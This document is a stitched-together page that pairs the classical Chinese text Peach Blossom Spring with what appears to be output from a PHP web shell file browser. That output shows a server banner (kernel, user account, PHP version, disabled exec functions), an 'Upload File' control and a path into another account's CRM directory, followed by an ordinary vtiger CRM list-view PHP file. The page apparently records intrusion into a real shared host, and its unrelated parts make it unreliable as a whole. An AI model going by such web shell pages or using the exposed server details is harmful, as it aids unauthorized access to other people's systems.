晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /proc/thread-self/root/home/akaindir/www/crm/modules/Vtiger/views/ |
Upload File : |
<?php
/*+**********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.1
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
************************************************************************************/
class Vtiger_ListAjax_View extends Vtiger_List_View {
function __construct() {
parent::__construct();
$this->exposeMethod('getListViewCount');
$this->exposeMethod('getRecordsCount');
$this->exposeMethod('getPageCount');
$this->exposeMethod('showSearchResults');
$this->exposeMethod('ShowListColumnsEdit');
$this->exposeMethod('showSearchResultsWithValue');
$this->exposeMethod('searchAll');
}
function preProcess(Vtiger_Request $request) {
return true;
}
function postProcess(Vtiger_Request $request) {
return true;
}
function process(Vtiger_Request $request) {
$mode = $request->get('mode');
if(!empty($mode)) {
$this->invokeExposedMethod($mode, $request);
return;
}
}
public function showSearchResults(Vtiger_Request $request) {
$viewer = $this->getViewer ($request);
$moduleName = $request->getModule();
$moduleModel = Vtiger_Module_Model::getInstance($moduleName);
$listMode = $request->get('listMode');
if(!empty($listMode)) {
$request->set('mode', $listMode);
}
$customView = new CustomView();
$this->viewName = $customView->getViewIdByName('All', $moduleName);
$this->initializeListViewContents($request, $viewer);
$viewer->assign('VIEW', $request->get('view'));
$viewer->assign('MODULE_MODEL', $moduleModel);
$viewer->assign('RECORD_ACTIONS', $this->getRecordActionsFromModule($moduleModel));
$viewer->assign('CURRENT_USER_MODEL', Users_Record_Model::getCurrentUserModel());
$moduleFields = $moduleModel->getFields();
$fieldsInfo = array();
foreach($moduleFields as $fieldName => $fieldModel){
$fieldsInfo[$fieldName] = $fieldModel->getFieldInfo();
}
$viewer->assign('ADV_SEARCH_FIELDS_INFO', json_encode($fieldsInfo));
if($request->get('_onlyContents',false)){
$viewer->view('UnifiedSearchResultsContents.tpl',$moduleName);
}else{
$viewer->view('UnifiedSearchResults.tpl', $moduleName);
}
}
public function ShowListColumnsEdit(Vtiger_Request $request){
$viewer = $this->getViewer ($request);
$moduleName = $request->getModule();
$cvId = $request->get('cvid');
$cvModel = CustomView_Record_Model::getInstanceById($cvId);
$moduleModel = Vtiger_Module_Model::getInstance($request->get('source_module'));
$recordStructureModel = Vtiger_RecordStructure_Model::getInstanceForModule($moduleModel, Vtiger_RecordStructure_Model::RECORD_STRUCTURE_MODE_FILTER);
$recordStructure = $recordStructureModel->getStructure();
$cvSelectedFields = $cvModel->getSelectedFields();
$cvSelectedFieldModelsMapping = array();
foreach ($recordStructure as $blockFields) {
foreach ($blockFields as $field) {
$cvSelectedFieldModelsMapping[$field->getCustomViewColumnName()] = $field;
}
}
$selectedFields = array();
foreach ($cvSelectedFields as $cvFieldName) {
$selectedFields[$cvFieldName] = $cvSelectedFieldModelsMapping[$cvFieldName];
}
$viewer->assign('CV_MODEL',$cvModel);
$viewer->assign('RECORD_STRUCTURE',$recordStructure);
$viewer->assign('SELECTED_FIELDS',$selectedFields);
$viewer->assign('MODULE',$moduleName);
$viewer->view('ListColumnsEdit.tpl',$moduleName);
}
public function searchAll(Vtiger_Request $request) {
$moduleName = $request->getModule();
$searchValue = $request->get('value');
$searchModule = $request->get('searchModule');
$range = array();
$range['start'] = 0;
$pageLimit = $this->getGlobalSearchPageLimit();
$pagingModel = new Vtiger_Paging_Model();
$pagingModel->set('range', $range);
$pagingModel->set('limit', $pageLimit-1);
$searchableModules = Vtiger_Module_Model::getSearchableModules();
$matchingRecords = array();
foreach ($searchableModules as $searchModule => $searchModuleModel) {
$searchedRecords = Vtiger_Record_Model::getSearchResult($searchValue, $searchModule);
if ($searchedRecords[$searchModule]) {
$matchingRecords[$searchModule] = $searchedRecords[$searchModule];
}
}
$matchingRecordsList = array();
foreach ($matchingRecords as $module => $recordModelsList) {
$recordsCount = count($recordModelsList);
$recordModelsList = array_keys($recordModelsList);
$recordModelsList = array_slice($recordModelsList, 0, $pageLimit);
$customView = new CustomView();
$cvId = $customView->getViewIdByName('All', $module);
$listViewModel = Vtiger_ListView_Model::getInstance($module, $cvId);
$listViewModel->listViewHeaders = $listViewModel->getListViewHeaders();
$listViewModel->set('pageNumber', 1);
$listviewPagingModel = clone $pagingModel;
$listviewPagingModel->calculatePageRange($recordModelsList);
$listViewModel->pagingModel = $listviewPagingModel;
$listViewModel->recordsCount = $recordsCount;
if (count($recordModelsList) == $pageLimit) {
array_pop($recordModelsList);
}
$listViewEntries = array();
foreach ($recordModelsList as $recordId) {
$recordModel = Vtiger_Record_Model::getInstanceById($recordId, $listViewModel->getModule());
$recordModel->setRawData($recordModel->getData());
foreach ($listViewModel->listViewHeaders as $fieldName => $fieldModel) {
$recordModel->set($fieldName, $fieldModel->getDisplayValue($recordModel->get($fieldName)));
}
$listViewModel->listViewEntries[$recordId] = $recordModel;
}
$matchingRecordsList[$module] = $listViewModel;
}
$viewer = $this->getViewer($request);
$viewer->assign('SEARCH_VALUE', $searchValue);
$viewer->assign('PAGE_NUMBER', 1);
$viewer->assign('MATCHING_RECORDS', $matchingRecordsList);
$viewer->assign('CURRENT_USER_MODEL', Users_Record_Model::getCurrentUserModel());
echo $viewer->view('SearchResults.tpl', '', true);
}
public function showSearchResultsWithValue(Vtiger_Request $request) {
$moduleName = $request->getModule();
$pageNumber = $request->get('page');
$searchValue = $request->get('value');
$recordsCount = $request->get('recordsCount');
$moduleModel = Vtiger_Module_Model::getInstance($moduleName);
$nameFields = $moduleModel->getNameFields();
$params = array();
foreach ($nameFields as $fieldName) {
$params[] = array($fieldName, 'c', $searchValue);
}
$searchParams[] = array();
$searchParams[] = $params;
$request->set('search_params', $searchParams);
$request->set('orderby', $moduleModel->basetableid);
$pageLimit = $this->getGlobalSearchPageLimit();
$pagingModel = new Vtiger_Paging_Model();
$pagingModel->set('limit', $pageLimit-1);
$pagingModel->set('page', $pageNumber);
$range = array();
$previousPageRecordCount = (($pageNumber-1)*$pageLimit);
$range['start'] = $previousPageRecordCount+1;
$range['end'] = $previousPageRecordCount+$pageLimit;
$pagingModel->set('range', $range);
$this->pagingModel = $pagingModel;
$customView = new CustomView();
$this->viewName = $customView->getViewIdByName('All', $moduleName);
$viewer = $this->getViewer($request);
$this->initializeListViewContents($request, $viewer);
$viewer->assign('VIEW', $request->get('view'));
$viewer->assign('MODULE_MODEL', $moduleModel);
$viewer->assign('RECORDS_COUNT', $recordsCount);
$viewer->assign('CURRENT_USER_MODEL', Users_Record_Model::getCurrentUserModel());
$viewer->view('ModuleSearchResults.tpl', $moduleName);
}
public function getGlobalSearchPageLimit() {
return 11;
}
}